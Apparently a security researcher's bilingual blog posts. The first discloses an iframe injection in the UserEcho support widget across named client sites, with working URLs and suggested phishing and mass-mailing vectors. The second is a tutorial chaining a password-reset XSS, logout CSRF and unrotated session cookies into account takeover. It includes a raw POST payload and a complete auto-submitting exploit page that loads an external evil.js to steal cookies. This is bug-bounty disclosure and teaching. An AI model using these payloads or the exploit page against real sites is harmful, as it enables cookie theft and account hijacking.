Iframe injection and XSS on over 20 000 websites (en)

I decided to walk on top alexarank http://www.alexa.com/topsites/countries/UA, I began to look for vulnerabilities on gismeteo.ua (20th place in country). There has been a redirect to the Russian version of https://www.gismeteo.ru/soft/, drew my attention to the support.

Support is located at https://gismeteo.userecho.com and loaded on gismeteo in iframe https://gismeteo.userecho.com/s/interframe.html?url=https://gismeteo.userecho.com/widget/forum /6-/?lang=ru&referer=https://www.gismeteo.ru/soft/&xdm_e=https://www.gismeteo.ru&xdm_c=default4178&xdm_p=1. Then there is a form to create a ticket.

I tried to upload a website in iframe https://gismeteo.userecho.com/s/interframe.html?url=https://securityz.net, but it is not loaded. Then I realized that in addition to the feed url site still need other variables: lang, referer, xdm_e and others.

http://support.gismeteo.ru/s/interframe.html?url=https://securityz.net/?lang=ru&referer=https://www.gismeteo.ru/soft/&xdm_e=https://www .gismeteo.ru & xdm_c = default4178 & xdm_p = 1 and my site loaded in the frame.

Video https://www.youtube.com/watch?v=9P4A1AGxxYc .

It turned out that the owner userecho.com widget uses the same api at all sites for customer technical support, hence the conclusion that all of its customers vulnerable to iframe injection.

I find a list of the top http://userecho.com/clients/?lang=ru clients and understand that a lot of vulnerable clients – this is the most visited sites – drugvokrug.ru (social network, more than 5 million users) fl.ru (most popular freelance Exchange in Russian), easypay.ua (one of the most visited of payment systems in Ukraine), tankionline.com, ivi.ru, amiro.ru, okko.tv, insales.ru, a-lab.ru, scrapinghub.com, iridiummobile.net and many others. Almost all the sites are placed UserEcho widget on your subdomain, an example http://ask.drugvokrug.ru/, but some place it as a subdomain on userecho http://kontur.userecho.com/.

The vectors of attack:

To distribute a malicious link, you must first shorten the link goo.gl/GIYRUR, then:

  1. Mass send to forums and email addresses.
  2. Purposefully attack a specific user or administrator using this vulnerability.

It would be possible to send messages about vulnerability for each affected site, but the vulnerability would be promptly corrected developers userecho and I could not get anything from vulnerable sites or from the widget developers.

Therefore, I decided immediately to report the discovery of this plug-in developers.

09.01.2017 at 23:00 sent a bug report to the support userecho.com.

10.01.2017 at 00:10 vulnerability fixed and vulnerable file interframe.html  is deleted (comment from developers – interframe.html file is no longer available (deleted) and all the widgets work without file. Therefore, all working with the same API).

01.10.2017 at 02:14 developers paid a reward of $ 100 to me. A comment:

You must understand that we are not such a big company. In addition, it generally is the first time we decided to give someone a monetary reward.

Also, I found SELF XSS vulnerability in the support userecho and it is not going to fix, vulnerability affects more than 20 thousand sites, here’s an article https://securityz.wordpress.com/2017/01/10/self-xss_en/, and PoC. I hardly persuaded developers eliminate the iframe injection:

We saw on the logs that you play with interframe.html and understand why and how it was used. Only option was not clear how to use it to good use.

Since we now understand use cases and you are prompted to fix us, we are ready to transfer you  100USD.

Subscribe https://twitter.com/MaximYaremchuk for more articles)

Iframe injection и XSS на более чем 20 000 сайтах (ru)

Решил пройтись по топу alexarank http://www.alexa.com/topsites/countries/UA , начал искать уязвимости на gismeteo.ua ( 20 место ) . Произошел редирект на русскую версию https://www.gismeteo.ru/soft/ , обратил внимание на тех поддержку.

Техподдержка находилась по адресу https://gismeteo.userecho.com и загружалась на gismeteo в iframe https://gismeteo.userecho.com/s/interframe.html?url=https://gismeteo.userecho.com/widget/forum/6-/?lang=ru&referer=https://www.gismeteo.ru/soft/&xdm_e=https://www.gismeteo.ru&xdm_c=default4178&xdm_p=1 . Потом появлялась форма для создания тикета.

Я попытался загрузить свой сайт в iframe https://gismeteo.userecho.com/s/interframe.html?url=https://securityz.net , но он не грузился. Потом понял, что кроме url загружаемого сайта нужны еще и переменные lang,referer, xdm_e и другие.

http://support.gismeteo.ru/s/interframe.html?url=https://securityz.net/?lang=ru&referer=https://www.gismeteo.ru/soft/&xdm_e=https://www.gismeteo.ru&xdm_c=default4178&xdm_p=1 и мой сайт загрузился во фрейме.

Видео https://www.youtube.com/watch?v=9P4A1AGxxYc .

Оказалось, что владелец виджета userecho.com использует один и тот же api на всех сайтах клиентов для техподдержки, отсюда вывод, что все его клиенты уязвимы к iframe injection.

Находим список топ клиентов http://userecho.com/clients/?lang=ru и понимаем, что много уязвимых клиентов – это наиболее посещаемые сайты – drugvokrug.ru (социальная сеть, более 5 000 000 пользователей) fl.ru (самая популярная фриланс биржа в России)  , easypay.ua (одна из наиболее посещаемых платежных систем в Украина)  , tankionline.com , ivi.ru , amiro.ru , okko.tv , insales.ru , a-lab.ru , scrapinghub.com , iridiummobile.net и много других. Почти все сайты размещают виджет userecho на своём поддомене, пример http://ask.drugvokrug.ru/ , но некоторые размещают его как поддомен на userecho http://kontur.userecho.com/  .

Векторы атаки:

Чтобы распространить вредоносную ссылку, нужно сначала укоротить ссылку goo.gl/GIYRUR , потом:

  1. Массово рассылать на форумы, по email адресам.
  2. Целенаправленно атаковать определенного юзера или админа с помощью этой уязвимости.

Можно было бы отправлять сообщения об уязвимости на каждый уязвимый сайт, но уязвимость была бы оперативно исправлена разработчиками userecho и я мог бы не получить ничего ни от уязвимых сайтов, ни от разработчиков виджета.

Поэтому решил сразу сообщить о находке разработчикам плагина.

09.01.2017 в 23:00 отправлен баг репорт в тех  поддержку userecho.com.

10.01.2017 в 00:10 уязвимость исправлена и уязвимый файл interframe.html удален (комментарий от разработчиков – файл interframe.html больше недоступен (удален) и все виджеты работают без него. Поэтому все работает с тем же API.) .

10.01.2017 в 02:14 разработчики выплатили награду $100. Комментарий:

Вы должны понимать, что мы не такая крупная компания. К тому же, это вообще первый случай когда мы решили дать кому-то денежное вознаграждение.

Также я обнаружил SELF XSS уязвимость в поддержке userecho и ее не собираются исправлять, уязвимости подвержены более 20 тысяч сайтов, вот статья https://securityz.wordpress.com/2017/01/10/self-xsx_ru/ и PoC . Я еле уговорил разработчиков устранить iframe injection:

Мы видели по логам, что вы игрались с interframe.html и в принципе понимали для чего и как его использовали. Только не был понятен вариант как использовать это с пользой.

Так как теперь мы понимаем варианты использования и Вы подвигли нас на исправления мы готовы перевести Вам 100USD.

How to use XSS in login form/remember password/registration

So, we have Stored or Reflected Xss in Forgot your password.

But we can not carry out the attack on the user, since this is not a XSS in user account. And if we can not provide the required PoC, this vulnerability provides no threat and can not claim a greater reward in bug bounties!

However, the XSS is a personal account is fairly easy to rotate, and now I tell you how to do it ..

There is a page http://example.com/rememberpassword

There is POST request and not available filtering in email:

POST /rememberpassword HTTP/1.1
Host: example.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 159
formName=rememberpassword&email=”>http://securityz.net/evil.js&humanizm%5Bid%5D=32d2d845d4793a3e75d13d7fc8187aea&humanizm%5Binput%5D=1596

In general, our task – to lure the victim to http://example.com/rememberpassword, run our code and steal her cookies. But this will not work if the victim is in his account.

And here to help us two vulnerabilities.

The first vulnerability – LOGOUT CSRF.
1) The vulnerability lies in the fact that you can LOG OUT the victim without her consent, ie it goes on http://example.com/en/account?option=logout, comes from an account.

To prevent this, for each logout link is attached unique csrf token, such as in social network https://login.vk.com/?act=logout&hash=8b8bcf7f3cbd6d32d5&_origin=https://vk.com .

2) The vulnerability broken authentication & session managament. It lies in the fact that when the victim came out of their account, and then went – cookies have not changed! Dangerous, number 2 https://www.owasp.org/index.php/Top_10_2013-Top_10 , can be used to exploit with other bugs. It is necessary to generate a new cookie values in the new input. We need to test twice – compare cookies to exit after the next login, no one character should not change.
Thus, the second bug, as a passive, nothing with him do not make. And with the first write our automatic CSRF exploit, loaded logout link from victim account in html hat as a picture:

<html>
<head>
<img src=”http://example.com/en/account?option=logout”&gt;
</head>
<body>
<form action=”http://example.com/rememberpassword&#8221; method=”POST”>
<input type=”hidden” name=”formName” value=”rememberpassword” />
<input type=”hidden” name=”email” value=”&lt;script src=&apos;http://securityz.net/evil.js&#8221; />
<input type=”hidden” name=”humanizm[id]” value=”d8ac3bdda21255b54bcdd549bb15962c” />
<input type=”hidden” name=”humanizm[input]” value=”” />
<input type=”submit” id=”qiece” value=”Submit request” />
</form>

document.getElementById(“qiece”).click();

</body>
</html>

Well, our exploit done.

And when we stole victim’s cookies, we are free to login to her account, because COOKIES NOT DESTROY AFTER EXIT!!

Similar vulnerabilities (Logout CSRF/Broken Authentication) caught me everywhere and with their help, with the help of the XSS (is not in the user account) and with the help of sniffer can be easily hacked account (unless, of course, no httpOnly).

If y enjoy this article, subscribe me on twitter https://twitter.com/MaximYaremchuk /retweet and I’m add more articles in the process of research the security of web applications 🙂

#bugbounty #xss #BrokenAuthentication